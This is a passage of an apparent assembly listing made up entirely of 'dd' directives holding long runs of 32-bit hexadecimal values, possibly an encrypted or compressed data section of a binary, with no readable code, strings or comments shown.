0E405F2Eh dd 0F831EA5Dh, 304289C2h, 335C36EAh, 2513672Ch, 344E07B3h dd 0D851F21h, 0F88570E9h, 0FCA159EBh, 2ED9D921h, 6A344345h dd 0F34684B6h, 61C7165Ah, 3B76E966h, 15B8EE03h, 2933E879h dd 65873C5h, 3E95DE8h, 80BC20D7h, 29C9656Fh, 9327F84Ch dd 9865BE21h, 0E82D131Eh, 4F03D91Ah, 2D347E14h, 52E5092Bh dd 4E32142Fh, 4AB8CBEFh, 582542B6h, 1A71251h, 0CE22E945h dd 34B6402Bh, 5D68D921h, 246B23BEh, 0AFB2568Bh, 40319E10h dd 0C45B35E2h, 0B1E29A27h, 8079C5CEh, 9259A5E2h, 0E927425Eh dd 50DE8BCAh, 0EC9FE1Fh, 0C21580Dh, 9AB83DEh, 0CEF21CDFh dd 0B30F0978h, 29C3FE3Ch, 5EC4023h, 72EF1E3Fh, 56219271h dd 24FF1FD7h, 0CC28170Eh dd 9E7AB82Eh, 291F8434h, 0AEA996h, 25D8F758h, 2A3D64FDh dd 8DD0E92Ch, 45ED6881h, 36E86C7Dh, 0BB34C01Bh, 4ABF06CCh dd 59AF0BBFh, 75EE6402h, 0C19E3F81h, 0FE7C104h, 20FE48ABh dd 0F230B741h, 0C86F4BF2h, 1BD413C1h, 2EB12DCh, 0DBEDBC06h dd 0AF4B014h, 4A5F9CF5h, 8A80CC0h, 43FAEA7Dh, 4246DB27h dd 0E0DEC0DCh, 96D601ACh, 3FE9D821h, 0C22D8050h, 46233E26h dd 0A46BB658h, 45D392C5h, 0E3B6D15Bh, 2DEF584Dh, 0CABF2258h dd 9D9B5508h, 97133E8h, 0BE5A18BDh, 473014E4h, 80BCD0Fh dd 9083D6F7h, 0DC9F6A4Ch, 1B2DE917h, 2C626601h, 80E1F9EBh dd 0B457B353h, 0DC4C30E7h, 0E47025E5h, 203490D1h, 5F99F08Eh dd 0B1B87C64h, 0D85C5F89h, 2226E961h, 0E3932B3Ch, 4B683AA6h dd 9E5D22A1h, 0F7652BA7h, 0E4659D9Eh, 9E2D3F22h, 0A6FBB12h dd 0A0705B0h, 34AA5759h, 1BD6012Dh, 7A1FDF4Fh, 0C29D4F05h dd 5514B722h, 8305A894h, 0B6E902C0h, 0FE1E7FACh, 177A7CC9h dd 0C155F180h, 16C4696h, 1A209134h, 21F74033h, 0B031D07Fh dd 5BD80FC1h, 2F18E8D8h, 0D989C831h, 896BDB88h, 2B1011F3h dd 710BAD94h, 66D131A2h, 955598DBh, 37515519h, 2674D55h dd 59B47957h, 629C15Ah, 319123Ah, 0F60A9430h, 8EC73600h dd 0E9A1761Dh, 720C4BC8h, 0C2C55673h, 7418272Ch, 712EE29h dd 29E182F7h, 0B083D5F2h, 0F84C3066h, 48F143F6h, 3C542E08h dd 903057D1h, 6D1F0506h, 80D1F71Eh, 92E0FD5Fh, 5AFEE160h dd 7B59CF89h, 555F2601h, 0FE034989h, 46495CF8h, 0F0E0400Eh dd 587EC7E4h, 5E85925Ah, 0BC2D4757h, 612A2625h, 9D5F0FDEh dd 3EC9CF53h, 0A623ACEBh, 0EE410089h, 0DDF18121h, 460CFC58h dd 602E1C1h, 410DD604h, 0EDE6ACF3h, 0A6CD71E9h, 2DC00350h dd 5B3646E3h, 6733C27Dh, 74A555D0h, 7448317h, 890F502Dh dd 0D7E008D6h, 0CA34B321h, 12B660C3h, 0B9D268ABh, 0A9295F7Bh dd 0BD553480h, 78434E70h, 90EEBB00h, 0EB29D3E7h, 110D2DE9h dd 0D2C1C113h, 4BCD6319h, 0B84CC98Ah, 0A852A38Bh, 9A89C34Eh dd 606B09C1h, 41058C3h, 82B45A88h, 541B8960h, 2803CAAh dd 6FD6537Ch, 7266B7FCh, 72AE25Dh, 0D2F723B9h, 27ADE256h dd 0A16114C8h, 89A3FC09h, 0AA5385DDh, 642F9DECh, 992176C6h dd 83199863h, 0A60BE381h, 2356F67h, 0E166765Eh, 0E47021CEh dd 836354E9h, 4A023C05h, 402D7500h, 297A0860h, 7A0F87Ch dd 504A6B68h, 190247CDh, 0C07C229h, 9F7CD9Ch, 4468256Bh dd 0A9F4C600h, 29093EE7h, 0EF3C8BF9h, 5A5C8E73h, 0CBFE3B6h dd 0E4C8BE0Fh, 6C5358C6h, 0ECB3A7C4h, 0EAE3E7ECh, 0F0AD3B20h dd 2AD3E398h, 0C3E4D831h, 0CBFE08DEh, 0C82CEE00h, 4C98B252h dd 5E146D28h, 0E9D2D93Fh, 596984F6h, 13CBC413h, 0CA81A20Ch dd 6CA7ADA6h, 648CC901h, 2A074431h, 9F684918h, 77B83D67h dd 33890AA5h, 0C180CD00h, 0CE4A3090h, 0F6C014B2h, 0C01FE9AEh dd 10D6B495h, 50482BE9h, 7E2E6535h, 932095D6h, 556781Ch dd 2E528179h, 2DD00108h, 0F05A0742h, 94E92F18h, 315F9E02h dd 0CE2DB854h, 129A9A1Fh, 0F8E5107Bh, 443824h, 0EF81528Ch dd 49AA6E70h, 307F0A26h, 29186AA9h, 68741E6Ch, 9C75E9F8h dd 5B6F9ABFh, 0CA0293D5h, 0D314546Ch, 0C88D196h, 0C11927D8h dd 60F66806h, 0B4238B7Eh, 6B829F28h, 6603D241h, 4BABB953h dd 889E8D29h, 501305Bh, 25FE7EA3h, 95650BE8h, 595C4720h dd 682D6E0Fh, 543E60Eh, 70A6A4B9h, 0E50C8092h, 1476C818h dd 6451ED01h, 0CD0148A7h, 2D081CA0h, 0D561CBE9h, 0D0992A5Bh dd 1291C161h, 0A3A29602h, 0FC665C85h, 0B2168449h, 686DB412h dd 1647C027h, 44012E36h, 0C7E9614Dh, 130779D2h, 0F5292A65h dd 255AF880h, 4D452FD1h, 0DC4D6DDh, 5BAF731h, 0A7F28950h dd 0B25E220Ch, 0AEE91012h, 31803B01h, 503006BBh, 5EC793F3h dd 517C323Ah, 0E89263E5h, 0D39811BCh, 6827D088h, 271066A7h dd 0D6E273E9h, 5E1E3B51h, 0DC49F4D7h, 98440097h, 0F8AB0A9Eh dd 0C9B54990h, 0CC595413h, 8F2E686Eh, 5D456A4Ah, 0F47B2DCAh dd 34A99B1h, 0CD451B8h, 81BAB29Ch, 80205C68h, 60BA2620h dd 0C3ED4B5Ah, 1848D015h, 5248000Bh, 0CCE9231Dh, 0E967BC08h dd 0A4091284h, 0B913F7C1h, 46E02B07h, 0AFC50032h, 87CF29B4h dd 40B85FF9h, 3417CAC1h, 0E9D52E03h, 79AEE964h, 46F14828h dd 219F2B7Ah, 1FEE2C6Bh, 0F029930Ah, 0D1398885h, 0CA5874F6h dd 0B342C90h, 2005B363h, 0BA013698h, 3C6FDA62h, 983AD331h dd 39404370h, 0E159725Bh, 8C3522Bh, 0B4056191h, 77A866D4h dd 1ED7F61Dh, 805B00FCh, 0E1282AECh, 1C90584Dh, 59621E9h dd 6135414Fh, 57EF708Ch, 652481F5h, 5F2EA42h, 0C90DE130h dd 1086E389h, 124E296Bh, 0CFD5A808h, 0E615EE81h, 0B0C37FCh dd 3EFF35B0h, 0C151A9D0h, 140CA008h, 556460B2h, 0ABA869CAh dd 8FF5297h, 5AA42A33h, 0FBFF6806h, 4EB3FAA4h, 3182C8D5h dd 20CB5C49h, 0D4CE2A1Ch, 9299BC0Fh, 0E4307456h, 94B7692Fh dd 0B0EA356Ch, 0FC8D4943h, 0C67BB529h, 3200A12h, 3D4ABDCBh dd 85AD2252h, 18550162h, 0B2B968BAh, 6988B90Ch, 0CD4011CCh dd 29D74088h, 84499796h, 7135397h, 7273101Bh, 0F740C16Eh dd 0B02D825h, 0E9522C12h, 2AF5CB6h, 486935B9h, 6188F182h dd 0C0495679h, 9B2ABCCBh, 89B01C9h, 60415B5Dh, 3B9D400Ah dd 62502F5Eh, 9352A2C2h, 9882375Ah, 41F04001h, 1E059049h dd 8F0C4D21h, 7889CE31h, 0DEF7B5A2h, 517B4570h, 0ADAF7D60h dd 12326853h, 0F50DE749h, 0E96720ECh, 8AC3A94Eh, 0D3748F4Bh dd 7C5806D2h, 0AF31C3C8h, 0BABF262Dh, 0D0E448B4h, 60642776h dd 0FE98B8C3h, 0BA2EE81h, 0BB44BCCAh, 683224FFh, 0E90C6D2Eh dd 765D06C0h, 87809536h, 548EC7F3h, 0D8E9B309h, 0EB6CA0FAh dd 48483265h, 0DC0C2D2Dh, 0FB78743Eh, 68081CD0h, 0EA20141Ch dd 0ACBDB5D2h, 0E9580802h, 82F9D212h, 5D112CBDh, 5AEB942h dd 4B890C21h, 9209808Eh, 792910BAh, 5B8D2060h, 0FC0E41C8h dd 70638042h, 78173ECEh, 73012EA5h, 485693A8h, 48B9B23Ch dd 3A050116h, 0DBE96244h, 0B1ED53B4h, 215909E4h, 65ADE5F9h dd 75E98633h, 0CD043B1Fh, 4E3A5A5Bh, 4178FFA8h, 686C304Bh dd 692865F2h, 76598C72h, 46AD244Ch, 70F63216h, 0C31B1225h dd 6E6B1BC1h, 91326E3Dh, 1C58FA9Ch, 0AC037726h, 0DCB23F79h dd 0D7405E0Ch, 644C1171h, 1C6510E2h, 4E2C10Ah, 8AFC1DA3h dd 27F48A94h, 0CC11172h, 151322B4h, 0D166E400h, 3150795Ch dd 3A536C57h, 0AC284893h, 59CA04AAh, 7481D588h, 44DE66E8h dd 0B1E0C465h, 0A0E8C2A9h, 625009E2h, 0BDC23126h, 740EAD1Ah dd 0B748EB39h, 4F58EB68h, 8350CBB1h, 0FA0B2E52h, 8CC08141h dd 87E47B74h, 0DFF732FDh, 0B0C2D509h, 6B4FE0F1h, 0CF22581Bh dd 0F294C4A2h, 0B05053B0h, 0CCE01D4Bh, 31F6414Ch, 0DF7A4022h dd 5A2C4626h, 1F014D48h, 0DB351E10h, 0EB60E1D9h, 0A9A0B795h dd 6640D5F2h, 925F1D7Bh, 0D5ACE713h, 532D3F48h, 5C92B6EDh dd 0D8119BBDh, 11728447h, 51535800h, 0F66361B5h, 2DB27EEh dd 5A98EB79h, 968015BBh, 0D375481Fh, 5D4E317Ch, 0DCE171C5h dd 82111EA5h, 7B4E3F8Ch, 55039AC2h, 333F1B00h, 1AC04678h dd 0BC832EB5h, 3D866AE9h, 135B279Fh, 0D153A96Bh, 767AA5F1h dd 9C335E01h, 0D02AE963h dd 58E22800h, 0B72510B8h, 0C0DB42CAh, 73CF8013h, 19F73CA4h dd 0B7DDF3Ch, 66FA085Fh, 6783F2E4h, 0E91FF2F8h, 0FD126A5Ah dd 35162E5Eh, 7CB5DC81h, 76F9571h, 95685F34h, 0F9788D6Eh dd 27AC3C34h, 4B3A4659h, 53482166h, 80E94DACh, 0B15152B2h dd 9067B275h, 0B2E97389h, 735A4C4h, 0D51C26CFh, 0D2A16F6Ch dd 0FC375806h, 0F7B801EFh, 4F23840Eh, 5FFAE4A5h, 4342AEF3h dd 0B0C8E916h, 0F1ED5409h, 99372A0Ch, 61E818F3h, 685C351Eh dd 2F22270Fh, 0CB9E68ABh, 5D2A13F8h, 0F9C60172h, 3C780862h dd 28B40B8Bh, 907D50FDh, 635C08AFh, 88000D61h, 146D938h dd 81CD0D6h, 25141C68h, 0D2249CE5h, 3016C6CBh, 0B990E4BEh dd 302C499Ah, 8401C66Dh, 894C64F0h, 4CB69238h, 8775140Ch dd 5F87631h, 0E908BE1Ch, 6D8DE156h, 3B190031h, 0F5210B46h dd 58C1485Eh, 25C4524h, 0AFA7096Dh, 0E9378155h, 356E6860h dd 9DC694EBh, 6B0DA84Bh, 4E9579Eh, 23980CBBh, 33514150h dd 0EC907D95h, 60BB0DE0h, 9A523400h, 0BC4C290Fh, 0E6564949h dd 0C62CE961h, 46704F7Fh, 0AE231DA4h, 3311F0Bh, 0B5D901A7h dd 0A9B456ECh, 90E985D7h, 0CC5AD5FCh, 58C1566Ch, 4AAF424Dh dd 6771A60h, 9359D4Fh, 12908BCBh, 74A07DB2h, 0E150C0D4h dd 374A85B8h, 0EFC568D0h, 11D311Bh, 59E2C76Ah, 7CC073C5h dd 55BA6D1Dh, 0F25EC049h, 0E1F7393Dh, 8E0688Eh, 0B4F5C7F2h dd 9AB98150h, 0DBF007AAh, 607F4602h, 0F747B75Eh, 834BE975h dd 0A222D412h, 21ACE505h, 0AC019244h, 6AC418ADh, 120ACA99h dd 0E2559E05h, 90BE80FBh, 257D6357h, 9BA7E8E9h, 0B01E74F4h dd 0DA4AF752h, 0A03F8AD2h, 0CB1B08Bh, 4B06F2B4h, 101C262Bh dd 0F0D1F365h, 0DEA50797h, 125C6CF0h, 0D31C6F21h, 0A9EC8B9Fh dd 0E1CCDE99h, 489443BEh, 0D6DCF10Ah, 0C1D41FE3h, 96A725Eh dd 0D9D33E4Eh, 0C849B8C6h, 19B9017h, 4A416292h, 0FF5EF789h dd 0F9437398h, 25FE375Ch, 71349A5Fh, 0B39A6B4Ch, 29413EBCh dd 0B9AD2C6Ah, 109B55BAh, 0CAD12D13h, 0F60E801h, 23E9D2F7h dd 1A4A5DF1h, 46554B0Dh, 105BC64h, 19880A92h, 442DD801h dd 0C9E4C207h, 0AA235405h, 0B69DD685h, 0EC7009C1h, 9BD41D6h dd 6B0920h, 0D74FC530h, 0E3810013h, 7E111998h, 0AF4E5FE9h dd 48E1D8C9h, 0B54F92h, 2454F690h, 801C5901h, 0C5C3E0E5h dd 0CAEE8897h, 25C5E12Ch, 0C05FB398h, 80805DD7h, 535C0EEBh dd 0F812A8B3h, 67541367h, 8FE16489h, 0D23B1225h, 0B27DC551h dd 0D16D4160h, 0E94BF0F7h, 22285AB6h, 0C0F959BEh, 6385FA4Dh dd 8083D8F7h, 0AA97051Fh, 94D7F06h, 24FC58C3h, 2CE6276h dd 2AEFE943h, 0F843B5F6h, 5C934CEDh, 0C957065Fh, 5217223Eh dd 7916DBB6h, 0B1B8A440h, 7B022518h, 40242553h, 76B5E8E8h dd 0A744A93Dh, 0B8C884ECh, 29F24FFFh, 6C082486h, 3AD9D24Ah dd 94CFBCDh, 83AEA8E5h, 45025DC5h, 0F974677Bh, 0C8FABE29h dd 6D1FA257h, 57550322h, 3D25F6E9h, 1D5602CCh, 775A4BF0h dd 7D94AE00h, 0E09D84EFh, 5DEB8984h, 3272BCE9h, 72FA3459h dd 96BDAB58h, 4EDDFE14h, 5BCE22CBh, 0EE58AD54h, 52D3C4C9h dd 0CFA5C1B2h, 0C7959631h, 0EA2AABB2h, 0F6612EEh, 70B3D1B3h dd 4E657E62h, 7081C60Ch, 0A2033AADh, 422D1ECCh, 0F1520A39h dd 989FBA7Ah, 0F2C9A7E2h, 0FAFC0362h, 5AD731B1h, 962DE7F1h dd 716D835h, 0D089E20Bh, 4B0958F6h, 0D14950h, 81568A33h dd 7E4C2CEFh, 0E75CC1E2h, 0E2F70286h, 0E985666Bh, 0A9473177h dd 658DF5C0h, 4E047CA6h, 4E69CAEFh, 0AC9387CAh, 0C3818C12h dd 88521250h, 750DECDEh, 1658E53Ch, 0B539286Fh, 5666D76Ah dd 11954161h, 4F0E3CF1h, 0DD94FE3h, 3FEF595Ch, 84631D10h dd 72B442E9h, 965D3FEh, 4A743277h, 5AA86D63h, 4C42CF8Ch dd 57BDB458h, 7A905CB2h, 6A4B6368h, 842B5699h, 0EBC90464h dd 0A427F802h, 0CB12CFCAh, 107689A6h, 691D68DCh, 58AE08B1h dd 0AD4412h, 5B69E3D6h, 4841478Dh, 327AF1C9h, 0E16450B5h dd 6E5ADA90h, 6DF27890h, 4A9D2E5Bh, 321415C4h, 94135A78h dd 5E86233Ah, 0F6DBEA20h, 0F40C59CEh, 0A7664180h, 0AF4DE965h dd 24CA4E37h, 0A6575913h, 20DC69BCh, 0CE805B45h, 0B2534F78h dd 0EDF8938Fh, 0EF005CA3h, 81B708B6h, 35AF728h, 0E992CF80h dd 553BED52h, 0B318AA59h, 58C8885Fh, 20D841E4h, 60F066B5h dd 7D29B1A9h, 0C19D7DE9h, 7F427F5Ch, 0E2869B55h, 96404AB8h dd 9F50502Bh, 10C495D9h, 0DAB95127h, 0EA811CB7h, 5F1E4216h dd 8442CA29h, 2DAE080Ch, 9C41D55Eh, 71B814A4h, 51570C80h dd 0EE01496Bh, 88DCAFDh, 0BE14080Ch, 4A5A6809h, 985B0B5Dh dd 5A8DE9C9h, 0DE5D89C5h, 3A16E876h, 6F61FAC5h, 2520D2F7h dd 6FD79140h, 0BD20156Bh, 2C0D4858h, 78414F06h, 44324292h dd 970DC102h, 807BC258h, 0D5E28B2Ah, 0E4B9C40Fh, 542B41Ch dd 0CBBE88C8h, 0B28610EBh, 0D69E051Dh, 0C2AC06C1h, 4C09B858h dd 178A617h, 963F35CBh, 0C4C1842Fh, 5A080336h, 4A7D8F66h dd 0BF29A540h, 0D8EAE5B3h, 0B7095378h, 0C0EFD059h, 77D6F7B2h dd 340776C0h, 801208E7h, 0D319E99Eh, 1BC9ABC0h, 0A075AB35h dd 0EE2C8F8Bh, 0C829056Eh, 0E84D8CE9h, 4DE1E588h, 91109662h dd 47971451h, 7E187E9Ch, 79D601FBh, 13F32653h, 7043029Ah dd 2DD5FD8h, 0C4ACE962h, 0B3F22E83h, 0AEBE1FEEh, 0ECEC1241h dd 47345E3Eh, 435040EFh, 8987CCBEh, 41CBD34Ah, 0C1C54Ah dd 0DF5D8C3Eh, 4126E906h, 626F67C9h, 59361368h, 14F70BEEh dd 55131167h, 2DE34C04h, 5B3B6AB4h, 0A40082C8h, 561EF4F1h dd 0BC40F052h, 942DE829h, 15F92A17h, 5BA5FED5h, 30279DC3h dd 0E688146Fh, 860283EBh, 250FA3C3h, 5560E177h, 0E028BB04h dd 912B930h, 61D4A3F4h, 6BD344Eh, 1F0F5023h, 1882170Ch dd 70D1057Dh, 3739F444h, 32020626h, 0C835DF0Bh, 7E0446EDh dd 0C521036Dh, 0BD555658h, 189320D8h, 3E5C116h, 6890EB01h dd 0AB700D96h, 0F09204B0h, 0E9EE8936h, 14C680B5h, 7E6B5248h dd 0E9511229h, 0F82485A6h, 1BDBC603h, 62EB0695h, 0C64FA4Ah dd 7D205A0Bh, 2E8E852Fh, 1D0CB758h, 4C7C9A64h, 31274D51h dd 4B5FD63h, 1C2927D6h, 8C95CDEh, 0B7131C5Bh, 99684A81h dd 0F5D4247Ah, 2DE7029Dh, 5E27C0FEh, 4E749001h, 0F540535h dd 0AF0095C8h, 78D4083Dh, 64AE9ABAh, 1BB53ACAh, 0CBB83CFCh dd 0BFFA92C0h, 44B77512h, 0E25BC8E8h, 7871C93Bh, 8ABF0407h dd 0B05B0615h, 0C35129E2h, 560B018Fh, 0A7F04C68h, 0E83C16Ah dd 65B0D444h, 68119E58h, 0E09B0CC6h, 0C44FE2Ch, 12A269D0h dd 0C331D010h, 55B15103h, 0B266C1FEh, 253258F6h, 38384EBBh dd 68F7E568h, 0ED10CA4Dh, 0F0562C89h, 0C5FC4958h, 6942B901h dd 0F20140EEh, 294108D1h, 12402DD8h, 0F356853h, 5B5F2B43h dd 0A522A281h, 95B24417h, 4FD8BAFh, 7BE06852h, 0CAB4EDF8h dd 27984A8Ch, 160BB0EAh, 0AC0178AAh, 31084148h, 0ED355AEh dd 0FD33CB35h, 3950105Ah, 92EE1F5Eh, 7FADE1CAh, 20687C2Ch dd 49B049DAh, 0C8161A91h, 0FAD87373h, 0FC97EA69h, 7A355186h dd 40941388h, 29DAD29h, 0ADC289Ah, 69401672h, 0D6D12C71h dd 7EB93309h, 5053586Fh, 6EFA6806h, 4CE85DFDh, 0A3D3A5FCh dd 20184C02h, 0EF81032Ch, 7A8D4102h, 6050C04h, 0FB0011C7h dd 0E91FEB18h, 70A7746Bh dd 6E0804A4h, 0E55F272Eh, 486CF10Eh, 174FE90Ch, 165E8B09h dd 0BF572518h, 5B38077Ch, 0F37C83B1h, 8707E60Eh, 53A813B2h dd 986AA67Ah, 1282B8ECh, 4123655Bh, 0EBC14BCDh, 0B71E2A06h dd 4C29A840h, 4A61E967h, 83DEDC20h, 5352EB76h, 0E95B04FAh dd 69FC1DDCh, 3E520FF1h, 84D214DCh, 95A10920h, 12C1EB9h dd 4063D9C3h, 80C2DA41h, 6F89E5CEh, 8A5D4920h, 0E9A1765Ch dd 97133A51h, 20AD6AFCh, 99F80D1h, 5042F6F0h, 39C04DDFh dd 9EFABBF5h, 0C005051Eh, 945D1B1Dh, 0E9070285h, 0B05E42AAh dd 106F7263h, 4F368649h, 7448DCF6h, 1678EE04h, 63A4F850h dd 3BCD182Ch, 0FE26458Eh, 9299259h, 0D9805909h, 6BA5208h dd 72C56E04h, 0FEC0D109h, 4055CE1h, 0C0E928A0h, 89259150h dd 0C02722CDh, 58BFB951h, 2D060279h, 649978E8h, 720F0D4h dd 0E3B4E97Fh, 40D6D24h, 0EAF34927h, 6E127557h, 0C440F47Ch dd 954D5B7Dh, 0F781A9E0h, 0BB150468h, 0E929CF0Fh, 820C722Ah dd 20215A08h, 0B23B1747h, 0E7069343h, 80343E57h, 964079E0h dd 624025FAh, 0FBEC868h, 9762D382h, 1E4F47Fh, 0B42421C3h dd 0F2920601h, 7FEF12B5h, 7D4DFC25h, 0E4E3C65Bh, 0C245986Bh dd 7AD9E4A5h, 4982968Fh, 9FA52660h, 0C4B55B82h, 11371487h dd 7551A7FCh, 0D95BD107h, 1EE96287h, 5316B65Eh, 0A2E506ECh dd 0F5CBDA72h, 0D179048Bh, 98AF4E66h, 0ECA487Fh, 90ADECB4h dd 4A68AC68h, 1D4F605h, 4F6A1EF7h, 4A34C4E9h, 65F3A254h dd 5747824Ah, 4C60263Eh, 0C300307Eh, 315A2D69h, 1253DE2h dd 6D925F74h, 45D0CB05h, 580F82ECh, 5922F350h, 70F504DFh dd 8165ED56h, 0D86B4A6Dh, 24F5E915h, 0DF03B6BBh, 3002E6C0h dd 0F1F793FEh, 896A2F85h, 5202203Dh, 500C50BBh, 90AD5EF5h dd 58D30F5Fh, 3F895654h, 0A9A913C3h, 0C1187C9Eh, 44A155D2h dd 5D82320h, 10F1D04h, 0E9B5C3F1h, 50FA20DFh, 6F983584h dd 0BD59CF40h, 243BBF4Dh, 0C5AF83B6h, 2AE89019h, 0BF05BFCBh dd 7AAA6E2Eh, 0DF9244EAh, 0D6680246h, 8A147534h, 1869DCBAh dd 40E60629h, 6AA380D3h, 0D2632499h, 0BB532DCDh, 88C1BB12h dd 52C9AD66h, 96F50D1h, 79C27EF9h, 0C7CF7054h, 1BD9C289h dd 9034EEB5h, 4D0B97D4h, 2975DEEh, 0E744922Bh, 48C73F6Fh dd 8BE6253Eh, 202A0BCAh, 300DB6D2h, 5A6602F0h, 0C0FE5E2Ch dd 0F125C651h, 5DEE8A1Ch, 0F6942FDAh, 0E92FF8A6h, 68A107CFh dd 0A6916EA4h, 8000A1D3h, 0C1F0E2E3h, 5F22365Eh, 0D98AC358h dd 0D02BB598h, 13B8F2D7h, 9BC2B59Ch, 0C3BA00BEh, 425F8907h dd 49680DA0h, 0B958D5EAh, 5B9D7210h, 753AC45h, 21AE25EFh dd 5A23F5Bh, 1D0786E0h, 81F5C68Dh, 0A73259EDh, 3A507F50h dd 875B0C08h, 5B90E52Ch, 0B75AE408h, 0EB314841h, 0F8F3802Bh dd 318C324h, 310BFCBDh, 0A0C8A5DDh, 0BC29BDA6h, 3720C4F0h dd 36050FE5h, 2964743Eh, 7AE6C7D8h, 0E7E0ADF2h, 688128DBh dd 7031217Eh, 0C9857CF1h, 5672D65Dh, 9ED1E924h, 0D25AACA4h dd 2A6F2C23h, 77D7C2D7h, 0D2564122h, 0C3B92D28h, 4195E54Ch dd 1736330Dh, 4CC4EA10h, 0ED200CDh, 0D0014503h, 0CC2D005Ah dd 294A8856h, 0E92D55F0h, 0D7B042B2h, 8A54B23Ah, 68613A2Eh dd 496C64F6h, 0D65EACD3h, 4D825564h, 51596AE4h, 52688484h dd 125AB322h, 27ADC53Ch, 6280DF3Ch, 17613552h, 12013F8h dd 9D987FC3h, 52896BE6h, 640131CBh, 30B52998h, 9D3085D9h dd 2485159Ah, 2005E1D1h, 94F8C4Ah, 13C3B932h, 0D8A98EF2h dd 652C5E83h, 9266D881h, 31816742h, 932FDBF7h, 3E1602D5h dd 7D09B025h, 0FA277031h, 27630267h, 59CB29B5h, 2D2701DCh dd 557ADD15h, 0E25E2348h, 4A72A2D3h, 0C7807DCFh, 397E7105h dd 225F7B2Dh, 23F9A10h, 6FF11CBBh, 9BA6E6Ch, 3AE65082h dd 0A2B94D7Ch, 42710C02h, 0C08C139Bh, 44281000h, 8DE9D301h dd 40F5B624h, 1135BD55h, 2A67313Fh, 293BA6DEh, 0B1B392D9h dd 0CA683ACh, 4C9344B5h, 0E2C46759h, 0D2ED13ADh, 7D94A993h dd 0C1E87751h, 31970549h, 0A5D04582h, 1BB829E6h, 6C06470Bh dd 0A63C6902h, 16BE6801h, 53000873h, 0D3F686B3h, 0CC13F380h dd 34A096E9h, 7F680B35h, 100B0FFEh, 0AA549364h, 199059F8h dd 3CCB83D7h, 0E34D5D17h, 2E131025h, 42F72D02h, 88F70A48h dd 0E904070Ch, 71BA2FC0h, 0CEE3C11Ch, 3B7FE80h, 0CC12942h dd 60350886h, 275AAD43h, 0AD14D0CFh, 1C472118h, 833913B6h dd 0C032F3F9h, 4AC13B1Ah, 17BC22D5h, 997FD120h, 0F56C282Ch dd 201EF55h, 0D744F62Bh, 0F7D5052Ah, 568B8DDh, 39C54820h dd 595C72C0h, 806E4AB1h, 110A40EDh, 4F18CAF8h, 0E2B8EA7Bh dd 906F1FC2h, 0BF843C61h, 0A86E7A02h, 0E9C75F56h, 0CC418549h dd 2ECFF21h, 0B21F8E7Dh, 0AB278922h, 0C5190DCh, 0E908B239h dd 0F025254Bh, 31681352h, 8D523565h, 9E02DE30h, 5AB50006h dd 801CCDFEh, 0EF0779EDh, 0CF705966h, 0B983E9FBh, 0CDC300E6h dd 21F3B917h, 0E7EB20F5h, 3C075002h, 49D4E90Ch, 602E54B2h dd 1BE80523h, 0D3114924h, 831E5726h, 84474B09h, 1EC50417h dd 0B176B80h, 0B1578DFh, 1E0CE9D1h, 5259B5DCh, 0FC3520F9h dd 0B811E2Fh, 0B8183B2Dh, 0E0D2D366h, 0D990082h, 3A08FD7Ah dd 754FE58Eh, 30E70281h, 93832223h, 6F13C193h, 0F5405E2h dd 5ECA3F12h, 46E8BA75h, 793F680Bh, 561E14D3h, 3B092BC0h dd 78515E7Ah, 40DE0955h, 7A3273E3h, 22602ED7h, 0DF28C874h dd 0AA73D12Eh, 61CB09h, 0A82ABAB5h, 77E3BD20h, 0B22B004h dd 0FD864C48h, 0DCB2C74h, 0FBA53568h, 180B021Eh, 5AD931E5h dd 8C681AE9h, 3B05016h, 0C8FED86Bh, 0AB040405h, 805932E9h dd 1F225BCDh, 91CDDA16h, 7C27E348h, 6EE3E7FCh, 451D4D43h dd 2F40FF2Dh, 401E60BDh, 0C8971022h, 8043B6B1h, 4A6F6E98h dd 0F5CE269h, 0CEE9FAC1h, 843E6665h, 0C69EE916h, 9742FD33h dd 6EAD71E1h, 4AC2803h, 4A14F92Ah, 66E9312Ah, 0EBEF51A1h dd 98352007h, 33F14518h, 3E56460Ch, 0E07F09B9h, 3DCE2E42h dd 15339006h, 5FA91CE9h, 0B72158DCh, 69A4F145h, 0E4879026h dd 4F2CEEFFh, 0BB6425E9h, 4AF24F66h, 89B6144Ch, 5B38408Ah dd 2CE85730h, 2EC35D7Bh, 0F31D5BC4h, 0BB7F2ADAh, 89CB3A99h dd 0CBF9D3E3h, 0FBE97468h, 53AB9761h, 0D0C9C788h, 76FFAD1h dd 0C3C3E2BEh, 98538B7h, 13256CD6h, 5955DC51h, 676DC8B5h dd 12ED912Eh, 5BF5C1D6h, 818D7C55h, 4C4AADC5h, 0F9247EB4h dd 594310B6h, 0B42F2D3h, 985DEB01h, 83A4AB14h, 0E6BE7840h dd 2F983E14h, 7EDB4AA4h, 0E851E69h, 2AB7B141h, 206013E7h dd 0E9F7B252h, 70EE85Eh, 0A9EAC9ADh, 77FE3Bh, 10644484h dd 24165401h, 5BA45A08h, 70261A63h, 0C500E455h, 20B06642h dd 0E77DE919h, 0B42AEA73h, 0A5BF598Fh, 491931Eh, 0D084FB29h dd 815D7FC8h, 81360114h, 0A080EAC9h, 5C65F02Eh, 122BD021h dd 0B082FD2Ah, 0D5A048E9h, 73C4ABBDh, 424A07F7h, 0B9B3D72h dd 14B5F66h, 4BE9392Ch, 0B6FF1F8h, 2CE158B7h, 0DA89D62Dh dd 0ACFD7C5Bh, 64B63565h, 0B675FAA8h, 0B54F924Ah, 920081A4h dd 0C11F786Fh, 0C5F8FFE5h, 1065B545h, 8877925h, 0B9009697h dd 4D893641h, 0AD103BBFh, 0EF814E80h, 150F12F8h, 0D4EEA1h dd 0E8070B7h, 0F72813C7h, 5AA2EFAEh, 0CC55F830h, 8EBFA18h dd 323FE949h, 92D95025h dd 0D00113B3h, 5FC7BC05h, 100648Eh, 4CCC2DC8h, 309D66DBh dd 80BA3529h, 0BCEE5059h, 8A965ABAh, 0A852EDEDh, 53E7A4B9h dd 2BEA3290h, 25667E25h, 4C1CFD34h, 0A7932ABEh, 7E09C982h dd 18D3086Fh, 23E08912h, 2E7B09F2h, 0E7DE3B7Dh, 80BF1233h dd 34E964B0h, 879F0AAFh, 2E0EA49h, 6AC13F01h, 68A6EDD1h dd 0C02BEB07h, 4DF681F0h, 32270544h, 0BDFF11E9h, 3D2C1744h dd 1038FBDDh, 0AE16215Bh, 5EBA0295h, 54356192h, 0D101E46Ah dd 4F08ECD0h, 1F48A4B7h, 0F4D0B8D6h, 798C08E8h, 0E439806Bh dd 6C4B1BBh, 1290D7ECh, 885F0C50h, 0BCB5BAE7h, 6CA94997h dd 0EF376A80h, 9CB6362Ah, 0E883982Eh, 0CFD0F7FFh, 9BC3D834h dd 